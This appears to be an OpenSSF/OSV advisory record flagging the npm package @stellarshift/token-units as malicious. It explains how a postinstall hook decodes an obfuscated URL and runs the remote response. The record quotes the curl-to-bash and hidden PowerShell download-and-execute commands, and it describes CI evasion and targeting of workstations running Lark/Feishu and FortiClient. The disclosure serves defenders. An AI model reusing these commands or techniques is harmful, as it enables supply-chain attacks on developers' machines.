OpenSSF/OSV advisory MAL-2026-15824 confirms this npm version as malicious. Package advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key `seed + '-stellarshift-registry'` combined with a positional mask (config-resolver.js decodeSegments), then executes the...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @stellarshift/token-units (npm)
Details
Package advertises BigInt token-unit conversion helpers (parseUnits/formatUnits) but declares a postinstall hook (scripts/postinstall.js) that invokes lib/runtime/manifest-sync.js. The sync module reconstructs a URL by XOR-decoding an integer array from endpoint-registry.json against the key `seed + '-stellarshift-registry'` combined with a positional mask (config-resolver.js decodeSegments), then executes the response body with no integrity check: `curl -fsSL --connect-timeout 8 '<uri>' 2>/dev/null | bash` on Unix, and `iex (iwr -UseBasicParsing -TimeoutSec 8 -Uri $uri).Content` inside a hidden PowerShell on Windows. Execution is gated by dev-profile.js: shouldSyncRemoteConfig runs isManagedWorkstation(), which requires detection of a collaboration client (Lark/Feishu at /Applications/Lark.app, /Applications/Feishu.app, and Windows equivalents) AND a VPN client (FortiClient), and isContinuousIntegration skips CI environments (CI, GITHUB_ACTIONS, GITLAB_CI, etc.). The destination-URL obfuscation, CI evasion, enterprise-client fingerprinting (Lark/Feishu/FortiClient), and README/behavior mismatch are unrelated to the advertised unit-math API.
Decision reason
OpenSSF Malicious Packages via OSV confirms @stellarshift/token-units@1.0.3 as malicious (MAL-2026-15824): Malicious code in @stellarshift/token-units (npm)